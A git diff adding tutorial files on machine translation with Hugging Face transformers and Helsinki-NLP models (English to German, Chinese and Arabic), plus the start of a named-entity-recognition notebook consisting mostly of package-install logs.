+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/778k [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "d8ca8a733c8c4742a213faf75d0d74dd",
+ "version_minor": 0,
+ "version_major": 2
+ },
+ "text/plain": [
+ "Downloading: 0%| | 0.00/1.21M [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 35
+ },
+ "id": "nmksW-NjmfNS",
+ "outputId": "92f8920a-c7b7-465a-9fb0-96d1e7a34ee9"
+ },
+ "source": [
+ "translator(\"You're a genius.\")[0][\"translation_text\"]"
+ ],
+ "execution_count": 22,
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "'Du bist ein Genie.'"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 22
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "x5phRJCDmZDV"
+ },
+ "source": [
+ "article = \"\"\"\n",
+ "Albert Einstein ( 14 March 1879 – 18 April 1955) was a German-born theoretical physicist, widely acknowledged to be one of the greatest physicists of all time. \n",
+ "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics. \n",
+ "Relativity and quantum mechanics are together the two pillars of modern physics. \n",
+ "His mass–energy equivalence formula E = mc2, which arises from relativity theory, has been dubbed \"the world's most famous equation\". \n",
+ "His work is also known for its influence on the philosophy of science.\n",
+ "He received the 1921 Nobel Prize in Physics \"for his services to theoretical physics, and especially for his discovery of the law of the photoelectric effect\", a pivotal step in the development of quantum theory. \n",
+ "His intellectual achievements and originality resulted in \"Einstein\" becoming synonymous with \"genius\"\n",
+ "\"\"\""
+ ],
+ "execution_count": 23,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 120
+ },
+ "id": "IDpLLQhcmbJq",
+ "outputId": "6721fe2f-39bb-4b3e-abcf-2d87ee18b639"
+ },
+ "source": [
+ "translator(article)[0][\"translation_text\"]"
+ ],
+ "execution_count": 24,
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "'Albert Einstein (* 14. März 1879 – 18. April 1955) war ein deutscher theoretischer Physiker, der allgemein als einer der größten Physiker aller Zeiten anerkannt wurde. Einstein ist am besten für die Entwicklung der Relativitätstheorie bekannt, aber er leistete auch wichtige Beiträge zur Entwicklung der Quantenmechaniktheorie. Relativität und Quantenmechanik sind zusammen die beiden Säulen der modernen Physik. Seine Massenenergieäquivalenzformel E = mc2, die aus der Relativitätstheorie hervorgeht, wurde als „die berühmteste Gleichung der Welt\" bezeichnet. Seine Arbeit ist auch für ihren Einfluss auf die Philosophie der Wissenschaft bekannt. Er erhielt 1921 den Nobelpreis für Physik „für seine Verdienste um die theoretische Physik und vor allem für seine Entdeckung des Gesetzes über den photoelektrischen Effekt\", einen entscheidenden Schritt in der Entwicklung der Quantentheorie. Seine intellektuellen Leistungen und Originalität führten dazu, dass „Einstein\" zum Synonym für „Genius\" wurde.'"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 24
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "3q0KA0GKwFlZ"
+ },
+ "source": [
+ "def get_translation_model_and_tokenizer(src_lang, dst_lang):\n",
+ " \"\"\"\n",
+ " Given the source and destination languages, returns the appropriate model\n",
+ " See the language codes here: https://developers.google.com/admin-sdk/directory/v1/languages\n",
+ " For the 3-character language codes, you can google for the code!\n",
+ " \"\"\"\n",
+ " # construct our model name\n",
+ " model_name = f\"Helsinki-NLP/opus-mt-{src}-{dst}\"\n",
+ " # initialize the tokenizer & model\n",
+ " tokenizer = AutoTokenizer.from_pretrained(model_name)\n",
+ " model = AutoModelForSeq2SeqLM.from_pretrained(model_name)\n",
+ " # return them for use\n",
+ " return model, tokenizer"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "hpH503VYmrmP"
+ },
+ "source": [
+ "# source & destination languages\n",
+ "src = \"en\"\n",
+ "dst = \"zh\"\n",
+ "\n",
+ "model, tokenizer = get_translation_model_and_tokenizer(src, dst)"
+ ],
+ "execution_count": 17,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "U3FSHpTWq5A0",
+ "outputId": "b3489286-b428-453a-dc36-abab6973c5d0"
+ },
+ "source": [
+ "# encode the text into tensor of integers using the appropriate tokenizer\n",
+ "inputs = tokenizer.encode(article, return_tensors=\"pt\", max_length=512, truncation=True)\n",
+ "print(inputs)"
+ ],
+ "execution_count": 18,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "tensor([[32614, 53456, 22, 992, 776, 822, 4048, 8, 3484, 822,\n",
+ " 820, 50940, 17, 43, 13, 8214, 16, 32941, 34899, 60593,\n",
+ " 2, 5514, 7131, 9, 34, 141, 4, 3, 7680, 60593,\n",
+ " 24, 4, 61, 220, 6, 53456, 32, 1109, 3305, 15,\n",
+ " 320, 3, 19082, 4, 1294, 24030, 28453, 2, 187, 172,\n",
+ " 81, 157, 435, 1061, 9, 3, 92, 4, 3, 19082,\n",
+ " 4, 52682, 54813, 6, 45978, 28453, 7, 52682, 54813, 46,\n",
+ " 1105, 3, 263, 12538, 4, 6683, 46089, 6, 1608, 3196,\n",
+ " 3484, 45425, 50560, 14655, 509, 8, 6873, 4374, 149, 9132,\n",
+ " 62, 22703, 51, 1294, 24030, 28453, 19082, 2, 66, 74,\n",
+ " 16044, 18553, 258, 40, 1862, 431, 23, 24, 447, 23761,\n",
+ " 47364, 10594, 1608, 119, 32, 81, 3305, 15, 45, 6748,\n",
+ " 19, 3, 34857, 4, 4102, 6, 250, 948, 3, 912,\n",
+ " 774, 38354, 33321, 11, 58505, 40, 4161, 175, 307, 9,\n",
+ " 34899, 46089, 2, 7, 978, 15, 175, 34026, 4, 3,\n",
+ " 191, 4, 3, 17952, 57867, 1766, 19622, 13, 29632, 2827,\n",
+ " 11, 3, 92, 4, 52682, 19082, 6, 1608, 6875, 5710,\n",
+ " 7, 5099, 2665, 3897, 11, 40, 338, 767, 40272, 480,\n",
+ " 6588, 57380, 29, 40, 9994, 20506, 480, 0]])\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "R5A4RWBSq_n-",
+ "outputId": "fd898ee8-b8e8-42e1-aa79-3dc9ef1c20e0"
+ },
+ "source": [
+ "# generate the translation output using greedy search\n",
+ "greedy_outputs = model.generate(inputs)\n",
+ "# decode the output and ignore special tokens\n",
+ "print(tokenizer.decode(greedy_outputs[0], skip_special_tokens=True))"
+ ],
+ "execution_count": 19,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "阿尔伯特·爱因斯坦(1879年3月14日至1955年4月18日)是德国出生的理论物理学家,被广泛承认是有史以来最伟大的物理学家之一。爱因斯坦以发展相对论闻名,但他也为量子力学理论的发展做出了重要贡献。相对论和量子力学是现代物理学的两大支柱。他的质量 — — 能源等值公式E = mc2来自相对论,被称作“世界最著名的方程 ” 。 他的工作也因其对科学哲学的影响而著称。 他获得了1921年诺贝尔物理奖,“因为他对理论物理学的服务,特别是他发现了光电效应法 ”, 这是量子理论发展的关键一步。 他的智力成就和创举导致“Einstein”成为“genius”的同义词。\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "oy8BPYvMrCbZ",
+ "outputId": "907f4bd7-a2b3-4788-f9bf-247202c44eed"
+ },
+ "source": [
+ "# generate the translation output using beam search\n",
+ "beam_outputs = model.generate(inputs, num_beams=3)\n",
+ "# decode the output and ignore special tokens\n",
+ "print(tokenizer.decode(beam_outputs[0], skip_special_tokens=True))"
+ ],
+ "execution_count": 20,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "阿尔伯特·爱因斯坦(1879年3月14日至1955年4月18日)是德国出生的理论物理学家,被广泛承认是有史以来最伟大的物理学家之一。爱因斯坦以发展相对论闻名,但他也为量子力学理论的发展做出了重要贡献。相对论和量子力学是现代物理学的两大支柱。来自相对论的其质量 — — 能源等值公式E=mc2被称作“世界上最著名的方程式 ” 。他的工作也因其对科学哲学的影响而著称。他获得了1921年诺贝尔物理奖,“因为他对理论物理学的服务,特别是他发现了光电效应法 ”, 这是量子理论发展的关键一步。他的智力成就和原创性导致了“Einstein”与“genius”的同义。\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "RNHweFpksflJ"
+ },
+ "source": [
+ "# let's change target language\n",
+ "src = \"en\"\n",
+ "dst = \"ar\"\n",
+ "\n",
+ "# get en-ar model & tokenizer\n",
+ "model, tokenizer = get_translation_model_and_tokenizer(src, dst)"
+ ],
+ "execution_count": 37,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "QFpVQt6WuTfS",
+ "outputId": "d2138937-11f4-44a9-a02c-e4ed691974bc"
+ },
+ "source": [
+ "# yet another example\n",
+ "text = \"It can be severe, and has caused millions of deaths around the world as well as lasting health problems in some who have survived the illness.\"\n",
+ "# tokenize the text\n",
+ "inputs = tokenizer.encode(text, return_tensors=\"pt\", max_length=512, truncation=True)\n",
+ "# this time we use 5 beams and return 5 sequences and we can compare!\n",
+ "beam_outputs = model.generate(\n",
+ " inputs, \n",
+ " num_beams=5, \n",
+ " num_return_sequences=5,\n",
+ " early_stopping=True,\n",
+ ")\n",
+ "for i, beam_output in enumerate(beam_outputs):\n",
+ " print(tokenizer.decode(beam_output, skip_special_tokens=True))\n",
+ " print(\"=\"*50)"
+ ],
+ "execution_count": 38,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+ "==================================================\n",
+ "ويمكن أن تكون خطيرة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+ "==================================================\n",
+ "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة لدى بعض الذين نجوا من المرض.\n",
+ "==================================================\n",
+ "ويمكن أن تكون حادة، وقد تسببت في ملايين الوفيات في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض من نجوا من المرض.\n",
+ "==================================================\n",
+ "ويمكن أن تكون حادة، وقد تسببت في وفاة ملايين الأشخاص في جميع أنحاء العالم، فضلا عن مشاكل صحية دائمة في بعض الذين نجوا من المرض.\n",
+ "==================================================\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "QbCkRm58uep4"
+ },
+ "source": [
+ ""
+ ],
+ "execution_count": null,
+ "outputs": []
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/README.md b/machine-learning/nlp/machine-translation/README.md
new file mode 100644
index 00000000..9e2b52f7
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/README.md
@@ -0,0 +1,3 @@
+# [How to Perform Machine Translation using Transformers in Python](https://www.thepythoncode.com/article/machine-translation-using-huggingface-transformers-in-python)
+To get it running:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/machine_translation.py b/machine-learning/nlp/machine-translation/machine_translation.py
new file mode 100644
index 00000000..aed10fd5
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/machine_translation.py
@@ -0,0 +1,92 @@
+# -*- coding: utf-8 -*-
+"""MachineTranslation-with-Transformers-PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1RIcKVMVRcKVbhoyqpzy2s1KSchS4XJX2
+"""
+
+!pip install transformers==4.12.4 sentencepiece
+
+from transformers import *
+
+# source & destination languages
+src = "en"
+dst = "de"
+
+task_name = f"translation_{src}_to_{dst}"
+model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
+
+translator = pipeline(task_name, model=model_name, tokenizer=model_name)
+
+translator("You're a genius.")[0]["translation_text"]
+
+article = """
+Albert Einstein ( 14 March 1879 – 18 April 1955) was a German-born theoretical physicist, widely acknowledged to be one of the greatest physicists of all time.
+Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
+Relativity and quantum mechanics are together the two pillars of modern physics.
+His mass–energy equivalence formula E = mc2, which arises from relativity theory, has been dubbed "the world's most famous equation".
+His work is also known for its influence on the philosophy of science.
+He received the 1921 Nobel Prize in Physics "for his services to theoretical physics, and especially for his discovery of the law of the photoelectric effect", a pivotal step in the development of quantum theory.
+His intellectual achievements and originality resulted in "Einstein" becoming synonymous with "genius"
+"""
+
+translator(article)[0]["translation_text"]
+
+def get_translation_model_and_tokenizer(src_lang, dst_lang):
+ """
+ Given the source and destination languages, returns the appropriate model
+ See the language codes here: https://developers.google.com/admin-sdk/directory/v1/languages
+ For the 3-character language codes, you can google for the code!
+ """
+ # construct our model name
+ model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
+ # initialize the tokenizer & model
+ tokenizer = AutoTokenizer.from_pretrained(model_name)
+ model = AutoModelForSeq2SeqLM.from_pretrained(model_name)
+ # return them for use
+ return model, tokenizer
+
+# source & destination languages
+src = "en"
+dst = "zh"
+
+model, tokenizer = get_translation_model_and_tokenizer(src, dst)
+
+# encode the text into tensor of integers using the appropriate tokenizer
+inputs = tokenizer.encode(article, return_tensors="pt", max_length=512, truncation=True)
+print(inputs)
+
+# generate the translation output using greedy search
+greedy_outputs = model.generate(inputs)
+# decode the output and ignore special tokens
+print(tokenizer.decode(greedy_outputs[0], skip_special_tokens=True))
+
+# generate the translation output using beam search
+beam_outputs = model.generate(inputs, num_beams=3)
+# decode the output and ignore special tokens
+print(tokenizer.decode(beam_outputs[0], skip_special_tokens=True))
+
+# let's change target language
+src = "en"
+dst = "ar"
+
+# get en-ar model & tokenizer
+model, tokenizer = get_translation_model_and_tokenizer(src, dst)
+
+# yet another example
+text = "It can be severe, and has caused millions of deaths around the world as well as lasting health problems in some who have survived the illness."
+# tokenize the text
+inputs = tokenizer.encode(text, return_tensors="pt", max_length=512, truncation=True)
+# this time we use 5 beams and return 5 sequences and we can compare!
+beam_outputs = model.generate(
+ inputs,
+ num_beams=5,
+ num_return_sequences=5,
+ early_stopping=True,
+)
+for i, beam_output in enumerate(beam_outputs):
+ print(tokenizer.decode(beam_output, skip_special_tokens=True))
+ print("="*50)
+
diff --git a/machine-learning/nlp/machine-translation/requirements.txt b/machine-learning/nlp/machine-translation/requirements.txt
new file mode 100644
index 00000000..d2ff5a26
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/requirements.txt
@@ -0,0 +1,2 @@
+transformers==4.12.4
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/named-entity-recognition/NER.ipynb b/machine-learning/nlp/named-entity-recognition/NER.ipynb
new file mode 100644
index 00000000..14a93dde
--- /dev/null
+++ b/machine-learning/nlp/named-entity-recognition/NER.ipynb
@@ -0,0 +1,7817 @@
+{
+ "nbformat": 4,
+ "nbformat_minor": 0,
+ "metadata": {
+ "colab": {
+ "name": "NER.ipynb",
+ "provenance": []
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+ "name": "python3",
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+ "Collecting pyyaml>=5.1\n",
+ " Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n",
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+ "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n",
+ " Attempting uninstall: pyyaml\n",
+ " Found existing installation: PyYAML 3.13\n",
+ " Uninstalling PyYAML-3.13:\n",
+ " Successfully uninstalled PyYAML-3.13\n",
+ "Successfully installed huggingface-hub-0.5.1 pyyaml-6.0 sacremoses-0.0.49 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0\n"
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+ "Collecting pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4\n",
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+ "\u001b[K |████████████████████████████████| 42 kB 1.4 MB/s \n",
+ "\u001b[?25hCollecting typing-extensions<4.0.0.0,>=3.7.4\n",
+ " Downloading typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)\n",
+ "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.8.0)\n",
+ "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.8)\n",
+ "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (5.2.1)\n",
+ "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2021.10.8)\n",
+ "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.4)\n",
+ "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.10)\n",
+ "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.24.3)\n",
+ "Collecting transformers<4.18.0,>=3.4.0\n",
+ " Downloading transformers-4.17.0-py3-none-any.whl (3.8 MB)\n",
+ "\u001b[K |████████████████████████████████| 3.8 MB 53.2 MB/s \n",
+ "\u001b[?25hRequirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.10.0+cu111)\n",
+ "Collecting spacy-alignments<1.0.0,>=0.7.2\n",
+ " Downloading spacy_alignments-0.8.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)\n",
+ "\u001b[K |████████████████████████████████| 1.1 MB 50.1 MB/s \n",
+ "\u001b[?25hRequirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (6.0)\n",
+ "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (2019.12.20)\n",
+ "Requirement already satisfied: tokenizers!=0.11.3,>=0.11.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.12.1)\n",
+ "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.0.49)\n",
+ "Requirement already satisfied: huggingface-hub<1.0,>=0.1.0 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.5.1)\n",
+ "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (4.11.3)\n",
+ "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (3.6.0)\n",
+ "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.1)\n",
+ "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.1.0)\n",
+ "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.15.0)\n",
+ "Installing collected packages: typing-extensions, catalogue, typer, srsly, pydantic, thinc, spacy-loggers, spacy-legacy, pathy, langcodes, transformers, spacy-alignments, spacy, spacy-transformers, en-core-web-trf\n",
+ " Attempting uninstall: typing-extensions\n",
+ " Found existing installation: typing-extensions 4.1.1\n",
+ " Uninstalling typing-extensions-4.1.1:\n",
+ " Successfully uninstalled typing-extensions-4.1.1\n",
+ " Attempting uninstall: catalogue\n",
+ " Found existing installation: catalogue 1.0.0\n",
+ " Uninstalling catalogue-1.0.0:\n",
+ " Successfully uninstalled catalogue-1.0.0\n",
+ " Attempting uninstall: srsly\n",
+ " Found existing installation: srsly 1.0.5\n",
+ " Uninstalling srsly-1.0.5:\n",
+ " Successfully uninstalled srsly-1.0.5\n",
+ " Attempting uninstall: thinc\n",
+ " Found existing installation: thinc 7.4.0\n",
+ " Uninstalling thinc-7.4.0:\n",
+ " Successfully uninstalled thinc-7.4.0\n",
+ " Attempting uninstall: transformers\n",
+ " Found existing installation: transformers 4.18.0\n",
+ " Uninstalling transformers-4.18.0:\n",
+ " Successfully uninstalled transformers-4.18.0\n",
+ " Attempting uninstall: spacy\n",
+ " Found existing installation: spacy 2.2.4\n",
+ " Uninstalling spacy-2.2.4:\n",
+ " Successfully uninstalled spacy-2.2.4\n",
+ "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n",
+ "tensorflow 2.8.0 requires tf-estimator-nightly==2.8.0.dev2021122109, which is not installed.\u001b[0m\n",
+ "Successfully installed catalogue-2.0.7 en-core-web-trf-3.2.0 langcodes-3.3.0 pathy-0.6.1 pydantic-1.8.2 spacy-3.2.4 spacy-alignments-0.8.5 spacy-legacy-3.0.9 spacy-loggers-1.0.2 spacy-transformers-1.1.5 srsly-2.4.3 thinc-8.0.15 transformers-4.17.0 typer-0.4.1 typing-extensions-3.10.0.2\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "!python -m spacy download en_core_web_sm"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "gX5UQMXtt7Cx",
+ "outputId": "fd848ea2-7dbd-4230-e0fe-b1ef88339e0e"
+ },
+ "execution_count": 3,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stdout",
+ "text": [
+ "Collecting en-core-web-sm==3.2.0\n",
+ " Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.2.0/en_core_web_sm-3.2.0-py3-none-any.whl (13.9 MB)\n",
+ "\u001b[K |████████████████████████████████| 13.9 MB 5.1 MB/s \n",
+ "\u001b[?25hRequirement already satisfied: spacy<3.3.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from en-core-web-sm==3.2.0) (3.2.4)\n",
+ "Requirement already satisfied: pathy>=0.3.5 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.6.1)\n",
+ "Requirement already satisfied: thinc<8.1.0,>=8.0.12 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (8.0.15)\n",
+ "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.11.3)\n",
+ "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (57.4.0)\n",
+ "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.23.0)\n",
+ "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.6)\n",
+ "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (7.1.2)\n",
+ "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.21.6)\n",
+ "Requirement already satisfied: langcodes<4.0.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.3.0)\n",
+ "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (21.3)\n",
+ "Requirement already satisfied: typer<0.5.0,>=0.3.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n",
+ "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.6)\n",
+ "Requirement already satisfied: catalogue<2.1.0,>=2.0.6 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.7)\n",
+ "Requirement already satisfied: pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.8.2)\n",
+ "Requirement already satisfied: srsly<3.0.0,>=2.4.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.4.3)\n",
+ "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (4.64.0)\n",
+ "Requirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.6)\n",
+ "Requirement already satisfied: typing-extensions<4.0.0.0,>=3.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.10.0.2)\n",
+ "Requirement already satisfied: spacy-loggers<2.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.2)\n",
+ "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.9.1)\n",
+ "Requirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n",
+ "Requirement already satisfied: spacy-legacy<3.1.0,>=3.0.8 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.9)\n",
+ "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.8.0)\n",
+ "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.8)\n",
+ "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (5.2.1)\n",
+ "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2021.10.8)\n",
+ "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.10)\n",
